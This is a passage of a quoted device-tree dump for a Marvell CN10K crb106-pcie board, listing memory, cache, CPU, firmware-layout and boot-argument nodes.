> supported-sram = <0x28>;
> installed-size = <0x8300>;
> cache-config = <0x182>;
> maxsize = <0x8300>;
> cache-speed = <0x0>;
> current-sram = <0x28>;
> associativity = <0x8>;
> };
>
> type17@1 {
> cache-sizes = <0xffffffff 0xffffffff>;
> array-handle = <0x600>;
> module-product-id = <0x0>;
> #log-size-cells = <0x2>;
> nonvol-size = <0x0>;
> log-sizes = <0x4 0x0>;
> manufacturer = "Unknown Manufacturer ";
> minimum_voltage = <0x44c>;
> serial-number = "Unknown Serial ";
> speed = <0x12c0>;
> maximum_voltage = <0x44c>;
> configured_voltage = <0x44c>;
> form-factor = <0xd>;
> device-loc = "DDR1";
> mem-type = <0x22>;
> device-set = <0x0>;
> ext-size = <0x4000>;
> part-number = "Unknown Part ";
> module-manufacturer-id = <0xf186>;
> size = <0x4000>;
> #cache-size-cells = <0x2>;
> errinfo-handle = <0xfffe>;
> vol-sizes = <0x4 0x0>;
> configured-memory-speed = <0xc80>;
> data-width = <0x40>;
> #vol-size-cells = <0x2>;
> attributes = <0x1>;
> total-width = <0x48>;
> };
>
> type7@1 {
> cache-type = <0x4>;
> socket = "Internal L1D Cache";
> ecorr-type = <0x5>;
> supported-sram = <0x28>;
> installed-size = <0x40>;
> cache-config = <0x180>;
> maxsize = <0x40>;
> cache-speed = <0x0>;
> current-sram = <0x28>;
> associativity = <0x5>;
> };
>
> type32 {
> boot-status = <0x0>;
> };
>
> type0 {
> bios-chars-ext1 = <0x1>;
> bios-chars = <0x10880 0x0>;
> #bios-char-cells = <0x2>;
> bios-chars-ext2 = <0x8>;
> };
>
> type17@2 {
> cache-sizes = <0xffffffff 0xffffffff>;
> array-handle = <0x600>;
> module-product-id = <0x0>;
> #log-size-cells = <0x2>;
> nonvol-size = <0x0>;
> log-sizes = <0x4 0x0>;
> manufacturer = "Unknown Manufacturer ";
> minimum_voltage = <0x44c>;
> serial-number = "Unknown Serial ";
> speed = <0x12c0>;
> maximum_voltage = <0x44c>;
> configured_voltage = <0x44c>;
> form-factor = <0xd>;
> device-loc = "DDR2";
> mem-type = <0x22>;
> device-set = <0x0>;
> ext-size = <0x4000>;
> part-number = "Unknown Part ";
> module-manufacturer-id = <0xf186>;
> size = <0x4000>;
> #cache-size-cells = <0x2>;
> errinfo-handle = <0xfffe>;
> vol-sizes = <0x4 0x0>;
> configured-memory-speed = <0xc80>;
> data-width = <0x40>;
> #vol-size-cells = <0x2>;
> attributes = <0x1>;
> total-width = <0x48>;
> };
>
> type3 {
> manufacturer = "Marvell";
> type = <0x17>;
> };
>
> type7@2 {
> cache-type = <0x5>;
> socket = "Internal L2 Unified Cache";
> ecorr-type = <0x5>;
> supported-sram = <0x28>;
> installed-size = <0x400>;
> cache-config = <0x181>;
> maxsize = <0x400>;
> cache-speed = <0x0>;
> current-sram = <0x28>;
> associativity = <0x7>;
> };
>
> type4@0 {
> curspeed = <0x9c4>;
> socket = "DPU";
> external-clock = <0x0>;
> maxspeed = <0x9c4>;
> processor-upgrade = <0x6>;
> serial-number = "Unknown ";
> processor-family2 = <0x101>;
> core-count = <0x18>;
> part-number = "Unknown ";
> core-enabled = <0x18>;
> processor-id = <0x0>;
> cpu-status = <0x41>;
> thread-count = <0x18>;
> processor-manufacturer = "Marvell";
> asset-tag = "Unknown ";
> processor-characteristics = <0xdc>;
> processor-version = "A0";
> voltage = <0x88>;
> processor-type = <0x3>;
> processor-family = <0xfe>;
> };
>
> type17@0 {
> cache-sizes = <0xffffffff 0xffffffff>;
> array-handle = <0x600>;
> module-product-id = <0x0>;
> #log-size-cells = <0x2>;
> nonvol-size = <0x0>;
> log-sizes = <0x2 0x0>;
> manufacturer = "Unknown Manufacturer ";
> minimum_voltage = <0x44c>;
> serial-number = "Unknown Serial ";
> speed = <0x12c0>;
> maximum_voltage = <0x44c>;
> configured_voltage = <0x44c>;
> form-factor = <0xd>;
> device-loc = "DDR0";
> mem-type = <0x22>;
> device-set = <0x0>;
> ext-size = <0x2000>;
> part-number = "Unknown Part ";
> module-manufacturer-id = <0x0>;
> size = <0x2000>;
> #cache-size-cells = <0x2>;
> errinfo-handle = <0xfffe>;
> vol-sizes = <0x2 0x0>;
> configured-memory-speed = <0xc80>;
> data-width = <0x40>;
> #vol-size-cells = <0x2>;
> attributes = <0x1>;
> total-width = <0x50>;
> };
>
> type1 {
> manufacturer = "Marvell";
> wakeup-type = <0x6>;
> prod-name = "CN10K";
> };
>
> type7@0 {
> cache-type = <0x3>;
> socket = "Internal L1I Cache";
> ecorr-type = <0x4>;
> supported-sram = <0x28>;
> installed-size = <0x40>;
> cache-config = <0x180>;
> maxsize = <0x40>;
> cache-speed = <0x0>;
> current-sram = <0x28>;
> associativity = <0x5>;
> };
> };
>
> vqmmc_supply_1v8 {
> regulator-max-microvolt = <0x1b7740>;
> enable-active-high;
> regulator-min-microvolt = <0x1b7740>;
> regulator-name = "vqmmc_supply_1v8";
> startup-delay-us = <0xa>;
> compatible = "regulator-fixed";
> phandle = <0x3b>;
> };
>
> l3-cache {
> cache-size = <0x3000000>;
> cache-level = <0x3>;
> cache-sets = <0x6000>;
> cache-unified;
> compatible = "cache";
> ranges;
> cache-line-size = <0x80>;
> phandle = <0x1c>;
> numa-node-id = <0x0>;
>
> msc@0x87E053001000 {
> compatible = "arm,mpam-msc";
> reg = <0x87e0 0x53001000 0x0 0x2000>;
> };
> };
>
> spe-pmu {
> interrupts = <0x1 0x8 0x4>;
> compatible = "arm,statistical-profiling-extension-v1";
> };
>
> octeontx_brd {
> RESET-COUNT-ECP-WDOG = [30 00];
> BOARD-MAC-ADDRESS-ID-NUM = [30 00];
> DDR-DMC-MASK = "0x3f";
> BOARD-MAC-ADDRESS-NUM = [35 00];
> RESET-COUNT-WARM = [30 00];
> RESET-COUNT-SCP-WDOG = [30 00];
> BOARD-MODEL = "crb106-pcie";
> DDR-SPEED = "3200";
> BOARD-REVISION = "r1p1";
> RESET-COUNT-MCP-WDOG = [30 00];
> RESET-COUNT-COLD = [30 00];
> SWITCH-RESET = [31 00];
> BOARD-MAC-ADDRESS = "0xfb7067802";
> BOARD-SERIAL = "WA-CN106-A1-PCIE-2P100-R2-142";
> RESET-COUNT-CORE-WDOG = [30 00];
>
> firmware-layout {
> #address-cells = <0x1>;
> #size-cells = <0x1>;
>
> bl2.bin@4c0000 {
> customer-version = <0x0>;
> tim-file-handle = <0x14>;
> description = "bl2.bin";
> time = <0xa290000>;
> type = "firmware";
> date = <0x7e80912>;
> arch = "arm64";
> revision = <0xc180900>;
> reg = <0x4c0000 0x80000>;
> version = "0C.18.09 20240918-1041 00000000";
> compression = "none";
> flags = <0x0>;
> };
>
> ecp_bl1.bin@d0000 {
> customer-version = <0x0>;
> tim-file-handle = <0x9>;
> description = "ecp_bl1.bin";
> time = <0x16220000>;
> type = "firmware";
> date = <0x7e8061a>;
> arch = "mips";
> revision = <0xc180700>;
> reg = <0xd0000 0x30000>;
> version = "0C.18.07 20240626-2234 00000000";
> compression = "none";
> flags = <0x0>;
> };
>
> gserp-cn10xx.fw@490000 {
> customer-version = <0x0>;
> tim-file-handle = <0x100>;
> description = "gserp-cn10xx.fw";
> time = <0x61a0000>;
> type = "firmware";
> date = <0x7e80912>;
> arch = "custom";
> revision = <0x1010d00>;
> reg = <0x490000 0x30000>;
> version = "01.01.0D 20240918-0626 00000000";
> compression = "none";
> flags = <0x0>;
> };
>
> mcp_bl1.bin@a0000 {
> customer-version = <0x0>;
> tim-file-handle = <0xd>;
> description = "mcp_bl1.bin";
> time = <0x50e0000>;
> type = "firmware";
> date = <0x7e8081c>;
> arch = "mips";
> revision = <0xc180900>;
> reg = <0xa0000 0x30000>;
> version = "0C.18.09 20240828-0514 00000000";
> compression = "none";
> flags = <0x0>;
> };
>
> switch_fw_ap.fw@a60000 {
> customer-version = <0x0>;
> tim-file-handle = <0x100>;
> description = "switch_fw_ap.fw";
> time = <0x61a0000>;
> type = "firmware";
> date = <0x7e80912>;
> arch = "custom";
> revision = <0x1010d00>;
> reg = <0xa60000 0x80000>;
> version = "01.01.0D 20240918-0626 00000000";
> compression = "none";
> flags = <0x0>;
> };
>
> rom-script0.fw@20000 {
> customer-version = <0x0>;
> tim-file-handle = <0x4>;
> description = "rom-script0.fw";
> time = <0xa250000>;
> type = "firmware";
> date = <0x7e80912>;
> arch = "mips";
> revision = <0xc180900>;
> reg = <0x20000 0x20000>;
> version = "0C.18.09 20240918-1037 00000000";
> compression = "none";
> flags = <0x0>;
> };
>
> u-boot-nodtb.bin@660000 {
> customer-version = <0x0>;
> tim-file-handle = <0x40>;
> description = "u-boot-nodtb.bin";
> time = <0xa290000>;
> type = "firmware";
> date = <0x7e80912>;
> arch = "arm64";
> revision = <0xc180900>;
> reg = <0x660000 0x150000>;
> version = "0C.18.09 20240918-1041 00000000";
> compression = "none";
> flags = <0x0>;
> };
>
> scp_bl1.bin@40000 {
> customer-version = <0x0>;
> tim-file-handle = <0x3>;
> description = "scp_bl1.bin";
> time = <0x10080000>;
> type = "firmware";
> date = <0x7e8081c>;
> arch = "mips";
> revision = <0xc180900>;
> reg = <0x40000 0x60000>;
> version = "0C.18.09 20240828-1608 00000000";
> compression = "none";
> flags = <0x0>;
> };
>
> npc_mkex-cn10xx.fw@7b0000 {
> customer-version = <0x0>;
> tim-file-handle = <0x100>;
> description = "npc_mkex-cn10xx.fw";
> time = <0x61a0000>;
> type = "firmware";
> date = <0x7e80912>;
> arch = "custom";
> revision = <0x1100000>;
> reg = <0x7b0000 0x2b0000>;
> version = "01.10.00 20240918-0626 00000000";
> compression = "none";
> flags = <0x0>;
> };
>
> gserm-cn10xx.fw@460000 {
> customer-version = <0x0>;
> tim-file-handle = <0x100>;
> description = "gserm-cn10xx.fw";
> time = <0x61a0000>;
> type = "firmware";
> date = <0x7e80912>;
> arch = "custom";
> revision = <0x1010e00>;
> reg = <0x460000 0x30000>;
> version = "01.01.0E 20240918-0626 00000000";
> compression = "none";
> flags = <0x0>;
> };
>
> bl31.bin@540000 {
> customer-version = <0x0>;
> tim-file-handle = <0x17>;
> description = "bl31.bin";
> time = <0xa290000>;
> type = "firmware";
> date = <0x7e80912>;
> arch = "arm64";
> revision = <0xc180900>;
> reg = <0x540000 0x120000>;
> version = "0C.18.09 20240918-1041 00000000";
> compression = "none";
> flags = <0x0>;
> };
>
> tim0@10000 {
> customer-version = <0x0>;
> tim-file-handle = <0x1>;
> description = "tim0";
> time = <0xa250000>;
> root-tim-load = "scp";
> root-tim-object = "scp_bl1.bin";
> type = "firmware";
> date = <0x7e80912>;
> revision = <0xc180900>;
> reg = <0x10000 0x10000>;
> version = "0C.18.09 20240918-1037 00000000";
> compression = "none";
> flags = <0x0>;
> };
>
> init.bin@100000 {
> customer-version = <0x0>;
> tim-file-handle = <0x11>;
> description = "init.bin";
> time = <0xa250000>;
> type = "firmware";
> date = <0x7e80912>;
> arch = "arm64";
> revision = <0xc180900>;
> reg = <0x100000 0x360000>;
> version = "0C.18.09 20240918-1037 00000000";
> compression = "none";
> flags = <0x0>;
> };
>
> switch_fw_super.fw@ae0000 {
> customer-version = <0x0>;
> tim-file-handle = <0x100>;
> description = "switch_fw_super.fw";
> time = <0x61a0000>;
> type = "firmware";
> date = <0x7e80912>;
> arch = "custom";
> revision = <0x1010d00>;
> reg = <0xae0000 0x200000>;
> version = "01.01.0D 20240918-0626 00000000";
> compression = "none";
> flags = <0x0>;
> };
> };
> };
>
> timer {
> #address-cells = <0x2>;
> interrupts = <0x1 0xd 0x4 0x1 0xe 0x4 0x1 0xb 0x4 0x1 0xa 0x4>;
> #size-cells = <0x2>;
> compatible = "marvell,octeontx2-timer", "arm,armv8-timer";
> reg = <0x8020 0x0 0x0 0xf000000>;
> };
>
> aliases {
> i2c3 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/i2c@24,3";
> serial7 = "/soc@0/serial@87e02f000000";
> i2c1 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/i2c@24,1";
> spi0 = "/soc@0/spi@804000000000";
> serial5 = "/soc@0/serial@87e02d000000";
> serial3 = "/soc@0/serial@87e02b000000";
> serial1 = "/soc@0/serial@87e029000000";
> i2c2 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/i2c@24,2";
> spi1 = "/soc@0/spi@805000000000";
> serial6 = "/soc@0/serial@87e02e000000";
> i2c0 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/i2c@24,0";
> serial4 = "/soc@0/serial@87e02c000000";
> phandle = <0x13d>;
> serial2 = "/soc@0/serial@87e02a000000";
> serial0 = "/soc@0/serial@87e028000000";
> };
>
> firmware {
>
> optee {
> method = "smc";
> compatible = "linaro,optee-tz";
> status = "okay";
> };
>
> sdei {
> method = "smc";
> compatible = "arm,sdei-1.0";
> };
>
> scmi {
> shmem = <0xf2>;
> #address-cells = <0x1>;
> #size-cells = <0x0>;
> compatible = "arm,scmi";
> mboxes = <0xf1 0x0>;
> mbox-names = "scp_ap";
>
> protocol@15 {
> #thermal-sensor-cells = <0x1>;
> reg = <0x15>;
> phandle = <0x13c>;
> };
>
> protocol@13 {
> #clock-cells = <0x1>;
> reg = <0x13>;
> phandle = <0x1b>;
> };
>
> protocol@14 {
> #clock-cells = <0x1>;
> reg = <0x14>;
> phandle = <0x13b>;
> };
> };
> };
>
> chosen {
> u-boot,version = "2023.01-12.24.09";
> bootargs = "console=ttyAMA0,115200n8 earlycon=pl011,0x87e028000000 debug maxcpus=4 rootwait rw rw root=/dev/nfs nfsroot=10.29.36.51:/nfsshare/ubuntu-rootfs,v3,tcp ;
> stdout-path = "/soc@0/serial@87e028000000";
> };
>
> pmu {
> interrupts = <0x1 0x7 0x4>;
> compatible = "arm,armv8-pmuv3";
> };
>
> cpus {
> #address-cells = <0x2>;
> #size-cells = <0x0>;
>
> cpu@140000 {
> d-cache-line-size = <0x40>;
> clocks = <0x1b 0x14>;
> i-cache-line-size = <0x40>;
> device_type = "cpu";
> compatible = "marvell,cn10670-cpu", "arm,armv8";
> d-cache-size = <0x10000>;
> next-level-cache = <0x30>;
> i-cache-size = <0x10000>;
> reg = <0x0 0x140000>;
> enable-method = "psci";
> phandle = <0x16>;
> d-cache-sets = <0x100>;
> i-cache-sets = <0x100>;
> numa-node-id = <0x0>;
>
> l2-cache {
> cache-size = <0x100000>;
> cache-level = <0x2>;
> cache-sets = <0x800>;
> cache-unified;
> compatible = "cache";
> cache-line-size = <0x40>;
> next-level-cache = <0x1c>;
> phandle = <0x30>;
> numa-node-id = <0x0>;
> };
> };
>
> cpu@30000 {
> d-cache-line-size = <0x40>;
> clocks = <0x1b 0x3>;
> i-cache-line-size = <0x40>;
> device_type = "cpu";
> compatible = "marvell,cn10670-cpu", "arm,armv8";
> d-cache-size = <0x10000>;
> next-level-cache = <0x1f>;
> i-cache-size = <0x10000>;
> reg = <0x0 0x30000>;
> enable-method = "psci";
> phandle = <0x5>;
> d-cache-sets = <0x100>;
> i-cache-sets = <0x100>;
> numa-node-id = <0x0>;
>
> l2-cache {
> cache-size = <0x100000>;
> cache-level = <0x2>;
> cache-sets = <0x800>;
> cache-unified;
> compatible = "cache";
> cache-line-size = <0x40>;
> next-level-cache = <0x1c>;
> phandle = <0x1f>;
> numa-node-id = <0x0>;
> };
> };
>
> cpu@70000 {
> d-cache-line-size = <0x40>;
> clocks = <0x1b 0x7>;
> i-cache-line-size = <0x40>;
> device_type = "cpu";
> compatible = "marvell,cn10670-cpu", "arm,armv8";
> d-cache-size = <0x10000>;
> next-level-cache = <0x23>;
> i-cache-size = <0x10000>;
> reg = <0x0 0x70000>;
> enable-method = "psci";
> phandle = <0x9>;
> d-cache-sets = <0x100>;
> i-cache-sets = <0x100>;
> numa-node-id = <0x0>;
>
> l2-cache {
> cache-size = <0x100000>;
> cache-level = <0x2>;
> cache-sets = <0x800>;
> cache-unified;
> compatible = "cache";
> cache-line-size = <0x40>;
> next-level-cache = <0x1c>;
> phandle = <0x23>;
> numa-node-id = <0x0>;
> };
> };
>
> cpu@C0000 {
> d-cache-line-size = <0x40>;
> clocks = <0x1b 0xc>;
> i-cache-line-size = <0x40>;
> device_type = "cpu";
> compatible = "marvell,cn10670-cpu", "arm,armv8";
> d-cache-size = <0x10000>;
> next-level-cache = <0x28>;
> i-cache-size = <0x10000>;
> reg = <0x0 0xc0000>;
> enable-method = "psci";
> phandle = <0xe>;
> d-cache-sets = <0x100>;
> i-cache-sets = <0x100>;
> numa-node-id = <0x0>;
>
> l2-cache {
> cache-size = <0x100000>;
> cache-level = <0x2>;
> cache-sets = <0x800>;
> cache-unified;
> compatible = "cache";
> cache-line-size = <0x40>;
> next-level-cache = <0x1c>;
> phandle = <0x28>;
> numa-node-id = <0x0>;
> };
> };
>
> cpu@110000 {
> d-cache-line-size = <0x40>;
> clocks = <0x1b 0x11>;
> i-cache-line-size = <0x40>;
> device_type = "cpu";
> compatible = "marvell,cn10670-cpu", "arm,armv8";
> d-cache-size = <0x10000>;
> next-level-cache = <0x2d>;
> i-cache-size = <0x10000>;
> reg = <0x0 0x110000>;
> enable-method = "psci";
> phandle = <0x13>;
> d-cache-sets = <0x100>;
> i-cache-sets = <0x100>;
> numa-node-id = <0x0>;
>
> l2-cache {
> cache-size = <0x100000>;
> cache-level = <0x2>;
> cache-sets = <0x800>;
> cache-unified;
> compatible = "cache";
> cache-line-size = <0x40>;
> next-level-cache = <0x1c>;
> phandle = <0x2d>;
> numa-node-id = <0x0>;
> };
> };
>
> cpu@150000 {
> d-cache-line-size = <0x40>;
> clocks = <0x1b 0x15>;
> i-cache-line-size = <0x40>;
> device_type = "cpu";
> compatible = "marvell,cn10670-cpu", "arm,armv8";
> d-cache-size = <0x10000>;
> next-level-cache = <0x31>;
> i-cache-size = <0x10000>;
> reg = <0x0 0x150000>;
> enable-method = "psci";
> phandle = <0x17>;
> d-cache-sets = <0x100>;
> i-cache-sets = <0x100>;
> numa-node-id = <0x0>;
>
> l2-cache {
> cache-size = <0x100000>;
> cache-level = <0x2>;
> cache-sets = <0x800>;
> cache-unified;
> compatible = "cache";
> cache-line-size = <0x40>;
> next-level-cache = <0x1c>;
> phandle = <0x31>;
> numa-node-id = <0x0>;
> };
> };
>
> cpu@40000 {
> d-cache-line-size = <0x40>;
> clocks = <0x1b 0x4>;
> i-cache-line-size = <0x40>;
> device_type = "cpu";
> compatible = "marvell,cn10670-cpu", "arm,armv8";
> d-cache-size = <0x10000>;
> next-level-cache = <0x20>;
> i-cache-size = <0x10000>;
> reg = <0x0 0x40000>;
> enable-method = "psci";
> phandle = <0x6>;
> d-cache-sets = <0x100>;
> i-cache-sets = <0x100>;
> numa-node-id = <0x0>;
>
> l2-cache {
> cache-size = <0x100000>;
> cache-level = <0x2>;
> cache-sets = <0x800>;
> cache-unified;
> compatible = "cache";
> cache-line-size = <0x40>;
> next-level-cache = <0x1c>;
> phandle = <0x20>;
> numa-node-id = <0x0>;
> };
> };
>
> cpu@80000 {
> d-cache-line-size = <0x40>;
> clocks = <0x1b 0x8>;
> i-cache-line-size = <0x40>;
> device_type = "cpu";
> compatible = "marvell,cn10670-cpu", "arm,armv8";
> d-cache-size = <0x10000>;
> next-level-cache = <0x24>;
> i-cache-size = <0x10000>;
> reg = <0x0 0x80000>;
> enable-method = "psci";
> phandle = <0xa>;
> d-cache-sets = <0x100>;
> i-cache-sets = <0x100>;
> numa-node-id = <0x0>;
>
> l2-cache {
> cache-size = <0x100000>;
> cache-level = <0x2>;
> cache-sets = <0x800>;
> cache-unified;
> compatible = "cache";
> cache-line-size = <0x40>;
> next-level-cache = <0x1c>;
> phandle = <0x24>;
> numa-node-id = <0x0>;
> };
> };
>
> cpu-map {
>
> cluster0 {
>
> core9 {
> cpu = <0xb>;
> };
>
> core21 {
> cpu = <0x17>;
> };
>
> core11 {
> cpu = <0xd>;
> };
>
> core7 {
> cpu = <0x9>;
> };
>
> core5 {
> cpu = <0x7>;
> };
>
> core18 {
> cpu = <0x14>;
> };
>
> core3 {
> cpu = <0x5>;
> };
>
> core16 {
> cpu = <0x12>;
> };
>
> core1 {
> cpu = <0x3>;
> };
>
> core14 {
> cpu = <0x10>;
> };
>
> core22 {
> cpu = <0x18>;
> };
>
> core12 {
> cpu = <0xe>;
> };
>
> core8 {
> cpu = <0xa>;
> };
>
> core20 {
> cpu = <0x16>;
> };
>
> core10 {
> cpu = <0xc>;
> };
>
> core6 {
> cpu = <0x8>;
> };
>
> core19 {
> cpu = <0x15>;
> };
>
> core4 {
> cpu = <0x6>;
> };
>
> core17 {
> cpu = <0x13>;
> };
>
> core2 {
> cpu = <0x4>;
> };
>
> core15 {
> cpu = <0x11>;
> };
>
> core23 {
> cpu = <0x19>;
> };
>
> core0 {
> cpu = <0x2>;
> };
>
> core13 {
> cpu = <0xf>;
> };
> };
> };
>
> cpu@D0000 {
> d-cache-line-size = <0x40>;
> clocks = <0x1b 0xd>;
> i-cache-line-size = <0x40>;
> device_type = "cpu";
> compatible = "marvell,cn10670-cpu", "arm,armv8";
> d-cache-size = <0x10000>;
> next-level-cache = <0x29>;
> i-cache-size = <0x10000>;
> reg = <0x0 0xd0000>;
> enable-method = "psci";
> phandle = <0xf>;
> d-cache-sets = <0x100>;
> i-cache-sets = <0x100>;
> numa-node-id = <0x0>;
>
> l2-cache {
> cache-size = <0x100000>;
> cache-level = <0x2>;
> cache-sets = <0x800>;
> cache-unified;
> compatible = "cache";
> cache-line-size = <0x40>;
> next-level-cache = <0x1c>;
> phandle = <0x29>;
> numa-node-id = <0x0>;
> };
> };
>
> cpu@120000 {
> d-cache-line-size = <0x40>;
> clocks = <0x1b 0x12>;
> i-cache-line-size = <0x40>;
> device_type = "cpu";
> compatible = "marvell,cn10670-cpu", "arm,armv8";
> d-cache-size = <0x10000>;
> next-level-cache = <0x2e>;
> i-cache-size = <0x10000>;
> reg = <0x0 0x120000>;
> enable-method = "psci";
> phandle = <0x14>;
> d-cache-sets = <0x100>;
> i-cache-sets = <0x100>;
> numa-node-id = <0x0>;
>
> l2-cache {
> cache-size = <0x100000>;
> cache-level = <0x2>;
> cache-sets = <0x800>;
> cache-unified;
> compatible = "cache";
> cache-line-size = <0x40>;
> next-level-cache = <0x1c>;
> phandle = <0x2e>;
> numa-node-id = <0x0>;
> };
> };
>
> cpu@160000 {
> d-cache-line-size = <0x40>;
> clocks = <0x1b 0x16>;
> i-cache-line-size = <0x40>;
> device_type = "cpu";
> compatible = "marvell,cn10670-cpu", "arm,armv8";
> d-cache-size = <0x10000>;
> next-level-cache = <0x32>;
> i-cache-size = <0x10000>;
> reg = <0x0 0x160000>;
> enable-method = "psci";
> phandle = <0x18>;
> d-cache-sets = <0x100>;
> i-cache-sets = <0x100>;
> numa-node-id = <0x0>;
>
> l2-cache {
> cache-size = <0x100000>;
> cache-level = <0x2>;
> cache-sets = <0x800>;
> cache-unified;
> compatible = "cache";
> cache-line-size = <0x40>;
> next-level-cache = <0x1c>;
> phandle = <0x32>;
> numa-node-id = <0x0>;
> };
> };
>
> cpu@10000 {
> d-cache-line-size = <0x40>;
> clocks = <0x1b 0x1>;
> i-cache-line-size = <0x40>;
> device_type = "cpu";
> compatible = "marvell,cn10670-cpu", "arm,armv8";
> d-cache-size = <0x10000>;
> next-level-cache = <0x1d>;
> i-cache-size = <0x10000>;
> reg = <0x0 0x10000>;
> enable-method = "psci";
> phandle = <0x3>;
> d-cache-sets = <0x100>;
> i-cache-sets = <0x100>;
> numa-node-id = <0x0>;
>
> l2-cache {
> cache-size = <0x100000>;
> cache-level = <0x2>;
> cache-sets = <0x800>;
> cache-unified;
> compatible = "cache";
> cache-line-size = <0x40>;
> next-level-cache = <0x1c>;
> phandle = <0x1d>;
> numa-node-id = <0x0>;
> };
> };
>
> cpu@50000 {
> d-cache-line-size = <0x40>;
> clocks = <0x1b 0x5>;
> i-cache-line-size = <0x40>;
> device_type = "cpu";
> compatible = "marvell,cn10670-cpu", "arm,armv8";
> d-cache-size = <0x10000>;
> next-level-cache = <0x21>;
> i-cache-size = <0x10000>;
> reg = <0x0 0x50000>;
> enable-method = "psci";
> phandle = <0x7>;
> d-cache-sets = <0x100>;
> i-cache-sets = <0x100>;
> numa-node-id = <0x0>;
>
> l2-cache {
> cache-size = <0x100000>;
> cache-level = <0x2>;
> cache-sets = <0x800>;
> cache-unified;
> compatible = "cache";
> cache-line-size = <0x40>;
> next-level-cache = <0x1c>;
> phandle = <0x21>;
> numa-node-id = <0x0>;
> };
> };
>
> cpu@0 {
> d-cache-line-size = <0x40>;
> clocks = <0x1b 0x0>;
> i-cache-line-size = <0x40>;
> device_type = "cpu";
> compatible = "marvell,cn10670-cpu", "arm,armv8";
> d-cache-size = <0x10000>;
> next-level-cache = <0x1a>;
> i-cache-size = <0x10000>;
> reg = <0x0 0x0>;
> enable-method = "psci";
> phandle = <0x2>;
> d-cache-sets = <0x100>;
> i-cache-sets = <0x100>;
> numa-node-id = <0x0>;
>
> l2-cache {
> cache-size = <0x100000>;
> cache-level = <0x2>;
> cache-sets = <0x800>;
> cache-unified;
> compatible = "cache";
> cache-line-size = <0x40>;
> next-level-cache = <0x1c>;
> phandle = <0x1a>;
> numa-node-id = <0x0>;
> };
> };
>
> cpu@90000 {
> d-cache-line-size = <0x40>;
> clocks = <0x1b 0x9>;
> i-cache-line-size = <0x40>;
> device_type = "cpu";
> compatible = "marvell,cn10670-cpu", "arm,armv8";
> d-cache-size = <0x10000>;
> next-level-cache = <0x25>;
> i-cache-size = <0x10000>;
> reg = <0x0 0x90000>;
> enable-method = "psci";
> phandle = <0xb>;
> d-cache-sets = <0x100>;
> i-cache-sets = <0x100>;
> numa-node-id = <0x0>;
>
> l2-cache {
> cache-size = <0x100000>;
> cache-level = <0x2>;
> cache-sets = <0x800>;
> cache-unified;
> compatible = "cache";
> cache-line-size = <0x40>;
> next-level-cache = <0x1c>;
> phandle = <0x25>;
> numa-node-id = <0x0>;
> };
> };
>
> cpu@A0000 {
> d-cache-line-size = <0x40>;
> clocks = <0x1b 0xa>;
> i-cache-line-size = <0x40>;
> device_type = "cpu";
> compatible = "marvell,cn10670-cpu", "arm,armv8";
> d-cache-size = <0x10000>;
> next-level-cache = <0x26>;
> i-cache-size = <0x10000>;
> reg = <0x0 0xa0000>;
> enable-method = "psci";
> phandle = <0xc>;
> d-cache-sets = <0x100>;
> i-cache-sets = <0x100>;
> numa-node-id = <0x0>;
>
> l2-cache {
> cache-size = <0x100000>;
> cache-level = <0x2>;
> cache-sets = <0x800>;
> cache-unified;
> compatible = "cache";
> cache-line-size = <0x40>;
> next-level-cache = <0x1c>;
> phandle = <0x26>;
> numa-node-id = <0x0>;
> };
> };
>
> cpu@E0000 {
> d-cache-line-size = <0x40>;
> clocks = <0x1b 0xe>;
> i-cache-line-size = <0x40>;
> device_type = "cpu";
> compatible = "marvell,cn10670-cpu", "arm,armv8";
> d-cache-size = <0x10000>;
> next-level-cache = <0x2a>;
> i-cache-size = <0x10000>;
> reg = <0x0 0xe0000>;
> enable-method = "psci";
> phandle = <0x10>;
> d-cache-sets = <0x100>;
> i-cache-sets = <0x100>;
> numa-node-id = <0x0>;
>
> l2-cache {
> cache-size = <0x100000>;
> cache-level = <0x2>;
> cache-sets = <0x800>;
> cache-unified;
> compatible = "cache";
> cache-line-size = <0x40>;
> next-level-cache = <0x1c>;
> phandle = <0x2a>;
> numa-node-id = <0x0>;
> };
> };
>
> cpu@130000 {
> d-cache-line-size = <0x40>;
> clocks = <0x1b 0x13>;
> i-cache-line-size = <0x40>;
> device_type = "cpu";
> compatible = "marvell,cn10670-cpu", "arm,armv8";
> d-cache-size = <0x10000>;
> next-level-cache = <0x2f>;
> i-cache-size = <0x10000>;
> reg = <0x0 0x130000>;
> enable-method = "psci";
> phandle = <0x15>;
> d-cache-sets = <0x100>;
> i-cache-sets = <0x100>;
> numa-node-id = <0x0>;
>
> l2-cache {
> cache-size = <0x100000>;
> cache-level = <0x2>;
> cache-sets = <0x800>;
> cache-unified;
> compatible = "cache";
> cache-line-size = <0x40>;
> next-level-cache = <0x1c>;
> phandle = <0x2f>;
> numa-node-id = <0x0>;
> };
> };
>
> cpu@170000 {
> d-cache-line-size = <0x40>;
> clocks = <0x1b 0x17>;
> i-cache-line-size = <0x40>;
> device_type = "cpu";
> compatible = "marvell,cn10670-cpu", "arm,armv8";
> d-cache-size = <0x10000>;
> next-level-cache = <0x33>;
> i-cache-size = <0x10000>;
> reg = <0x0 0x170000>;
> enable-method = "psci";
> phandle = <0x19>;
> d-cache-sets = <0x100>;
> i-cache-sets = <0x100>;
> numa-node-id = <0x0>;
>
> l2-cache {
> cache-size = <0x100000>;
> cache-level = <0x2>;
> cache-sets = <0x800>;
> cache-unified;
> compatible = "cache";
> cache-line-size = <0x40>;
> next-level-cache = <0x1c>;
> phandle = <0x33>;
> numa-node-id = <0x0>;
> };
> };
>
> cpu@20000 {
> d-cache-line-size = <0x40>;
> clocks = <0x1b 0x2>;
> i-cache-line-size = <0x40>;
> device_type = "cpu";
> compatible = "marvell,cn10670-cpu", "arm,armv8";
> d-cache-size = <0x10000>;
> next-level-cache = <0x1e>;
> i-cache-size = <0x10000>;
> reg = <0x0 0x20000>;
> enable-method = "psci";
> phandle = <0x4>;
> d-cache-sets = <0x100>;
> i-cache-sets = <0x100>;
> numa-node-id = <0x0>;
>
> l2-cache {
> cache-size = <0x100000>;
> cache-level = <0x2>;
> cache-sets = <0x800>;
> cache-unified;
> compatible = "cache";
> cache-line-size = <0x40>;
> next-level-cache = <0x1c>;
> phandle = <0x1e>;
> numa-node-id = <0x0>;
> };
> };
>
> cpu@60000 {
> d-cache-line-size = <0x40>;
> clocks = <0x1b 0x6>;
> i-cache-line-size = <0x40>;
> device_type = "cpu";
